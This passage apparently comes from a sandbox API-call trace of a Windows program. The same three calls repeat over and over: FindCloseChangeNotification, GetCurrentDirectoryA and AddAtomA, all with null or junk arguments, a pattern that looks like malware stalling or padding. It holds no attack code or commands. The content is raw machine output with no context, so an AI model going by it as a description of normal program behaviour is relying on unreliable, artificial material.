0x0 [0050.374] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.374] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.374] AddAtomA (lpString=0x0) returned 0x0 [0050.374] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.374] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.374] AddAtomA (lpString=0x0) returned 0x0 [0050.374] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.374] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.374] AddAtomA (lpString=0x0) returned 0x0 [0050.374] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.374] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.374] AddAtomA (lpString=0x0) returned 0x0 [0050.374] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.374] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.374] AddAtomA (lpString=0x0) returned 0x0 [0050.375] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.375] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.375] AddAtomA (lpString=0x0) returned 0x0 [0050.375] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.375] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.375] AddAtomA (lpString=0x0) returned 0x0 [0050.375] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.375] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.375] AddAtomA (lpString=0x0) returned 0x0 [0050.375] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.375] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.375] AddAtomA (lpString=0x0) returned 0x0 [0050.375] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.375] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.375] AddAtomA (lpString=0x0) returned 0x0 [0050.375] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.375] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.375] AddAtomA (lpString=0x0) returned 0x0 [0050.375] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.375] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.375] AddAtomA (lpString=0x0) returned 0x0 [0050.375] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.375] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.375] AddAtomA (lpString=0x0) returned 0x0 [0050.375] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.375] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.375] AddAtomA (lpString=0x0) returned 0x0 [0050.375] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.375] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.375] AddAtomA (lpString=0x0) returned 0x0 [0050.375] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.375] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.375] AddAtomA (lpString=0x0) returned 0x0 [0050.375] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.375] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.376] AddAtomA (lpString=0x0) returned 0x0 [0050.376] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.376] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.376] AddAtomA (lpString=0x0) returned 0x0 [0050.376] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.376] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.376] AddAtomA (lpString=0x0) returned 0x0 [0050.376] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.376] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.376] AddAtomA (lpString=0x0) returned 0x0 [0050.376] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.376] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.376] AddAtomA (lpString=0x0) returned 0x0 [0050.376] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.376] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.376] AddAtomA (lpString=0x0) returned 0x0 [0050.376] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.376] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.376] AddAtomA (lpString=0x0) returned 0x0 [0050.376] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.376] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.376] AddAtomA (lpString=0x0) returned 0x0 [0050.376] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.376] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.376] AddAtomA (lpString=0x0) returned 0x0 [0050.376] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.376] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.376] AddAtomA (lpString=0x0) returned 0x0 [0050.376] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.376] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.376] AddAtomA (lpString=0x0) returned 0x0 [0050.376] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.376] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.376] AddAtomA (lpString=0x0) returned 0x0 [0050.377] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.377] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.377] AddAtomA (lpString=0x0) returned 0x0 [0050.377] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.377] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.377] AddAtomA (lpString=0x0) returned 0x0 [0050.377] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.377] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.377] AddAtomA (lpString=0x0) returned 0x0 [0050.377] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.377] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.377] AddAtomA (lpString=0x0) returned 0x0 [0050.377] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.377] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.377] AddAtomA (lpString=0x0) returned 0x0 [0050.377] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.377] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.377] AddAtomA (lpString=0x0) returned 0x0 [0050.377] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.377] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.377] AddAtomA (lpString=0x0) returned 0x0 [0050.377] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.377] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.377] AddAtomA (lpString=0x0) returned 0x0 [0050.377] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.377] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.377] AddAtomA (lpString=0x0) returned 0x0 [0050.377] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.378] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.378] AddAtomA (lpString=0x0) returned 0x0 [0050.378] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.378] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.378] AddAtomA (lpString=0x0) returned 0x0 [0050.378] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.378] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.378] AddAtomA (lpString=0x0) returned 0x0 [0050.378] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.378] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.378] AddAtomA (lpString=0x0) returned 0x0 [0050.378] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.378] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.378] AddAtomA (lpString=0x0) returned 0x0 [0050.378] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.378] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.378] AddAtomA (lpString=0x0) returned 0x0 [0050.378] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.378] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.378] AddAtomA (lpString=0x0) returned 0x0 [0050.378] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.378] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.378] AddAtomA (lpString=0x0) returned 0x0 [0050.378] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.378] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.378] AddAtomA (lpString=0x0) returned 0x0 [0050.378] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.378] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.378] AddAtomA (lpString=0x0) returned 0x0 [0050.378] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.378] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.378] AddAtomA (lpString=0x0) returned 0x0 [0050.378] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.379] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.379] AddAtomA (lpString=0x0) returned 0x0 [0050.379] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.379] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.379] AddAtomA (lpString=0x0) returned 0x0 [0050.379] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.379] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.379] AddAtomA (lpString=0x0) returned 0x0 [0050.379] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.379] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.379] AddAtomA (lpString=0x0) returned 0x0 [0050.379] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.379] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.379] AddAtomA (lpString=0x0) returned 0x0 [0050.379] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.379] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.379] AddAtomA (lpString=0x0) returned 0x0 [0050.379] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.379] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.379] AddAtomA (lpString=0x0) returned 0x0 [0050.379] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.379] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.379] AddAtomA (lpString=0x0) returned 0x0 [0050.379] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.379] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.379] AddAtomA (lpString=0x0) returned 0x0 [0050.379] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.379] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.379] AddAtomA (lpString=0x0) returned 0x0 [0050.379] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.379] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.379] AddAtomA (lpString=0x0) returned 0x0 [0050.379] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.379] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.379] AddAtomA (lpString=0x0) returned 0x0 [0050.380] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.380] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.380] AddAtomA (lpString=0x0) returned 0x0 [0050.380] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.380] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.380] AddAtomA (lpString=0x0) returned 0x0 [0050.380] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.380] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.380] AddAtomA (lpString=0x0) returned 0x0 [0050.380] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.380] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.380] AddAtomA (lpString=0x0) returned 0x0 [0050.380] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.380] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.380] AddAtomA (lpString=0x0) returned 0x0 [0050.380] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.380] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.380] AddAtomA (lpString=0x0) returned 0x0 [0050.380] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.380] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.380] AddAtomA (lpString=0x0) returned 0x0 [0050.380] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.380] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.380] AddAtomA (lpString=0x0) returned 0x0 [0050.380] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.380] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.380] AddAtomA (lpString=0x0) returned 0x0 [0050.380] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.380] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.380] AddAtomA (lpString=0x0) returned 0x0 [0050.380] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.380] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.380] AddAtomA (lpString=0x0) returned 0x0 [0050.380] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.381] AddAtomA (lpString=0x0) returned 0x0 [0050.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.381] AddAtomA (lpString=0x0) returned 0x0 [0050.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.381] AddAtomA (lpString=0x0) returned 0x0 [0050.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.381] AddAtomA (lpString=0x0) returned 0x0 [0050.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.381] AddAtomA (lpString=0x0) returned 0x0 [0050.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.381] AddAtomA (lpString=0x0) returned 0x0 [0050.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.381] AddAtomA (lpString=0x0) returned 0x0 [0050.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.381] AddAtomA (lpString=0x0) returned 0x0 [0050.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.381] AddAtomA (lpString=0x0) returned 0x0 [0050.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.381] AddAtomA (lpString=0x0) returned 0x0 [0050.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.381] AddAtomA (lpString=0x0) returned 0x0 [0050.381] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.381] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.381] AddAtomA (lpString=0x0) returned 0x0 [0050.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.382] AddAtomA (lpString=0x0) returned 0x0 [0050.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.382] AddAtomA (lpString=0x0) returned 0x0 [0050.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.382] AddAtomA (lpString=0x0) returned 0x0 [0050.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.382] AddAtomA (lpString=0x0) returned 0x0 [0050.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.382] AddAtomA (lpString=0x0) returned 0x0 [0050.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.382] AddAtomA (lpString=0x0) returned 0x0 [0050.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.382] AddAtomA (lpString=0x0) returned 0x0 [0050.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.382] AddAtomA (lpString=0x0) returned 0x0 [0050.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.382] AddAtomA (lpString=0x0) returned 0x0 [0050.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.382] AddAtomA (lpString=0x0) returned 0x0 [0050.382] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.382] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.382] AddAtomA (lpString=0x0) returned 0x0 [0050.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.383] AddAtomA (lpString=0x0) returned 0x0 [0050.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.383] AddAtomA (lpString=0x0) returned 0x0 [0050.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.383] AddAtomA (lpString=0x0) returned 0x0 [0050.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.383] AddAtomA (lpString=0x0) returned 0x0 [0050.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.383] AddAtomA (lpString=0x0) returned 0x0 [0050.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.383] AddAtomA (lpString=0x0) returned 0x0 [0050.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.383] AddAtomA (lpString=0x0) returned 0x0 [0050.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.383] AddAtomA (lpString=0x0) returned 0x0 [0050.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.383] AddAtomA (lpString=0x0) returned 0x0 [0050.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.383] AddAtomA (lpString=0x0) returned 0x0 [0050.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.383] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.383] AddAtomA (lpString=0x0) returned 0x0 [0050.383] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.384] AddAtomA (lpString=0x0) returned 0x0 [0050.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.384] AddAtomA (lpString=0x0) returned 0x0 [0050.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.384] AddAtomA (lpString=0x0) returned 0x0 [0050.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.384] AddAtomA (lpString=0x0) returned 0x0 [0050.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.384] AddAtomA (lpString=0x0) returned 0x0 [0050.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.384] AddAtomA (lpString=0x0) returned 0x0 [0050.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.384] AddAtomA 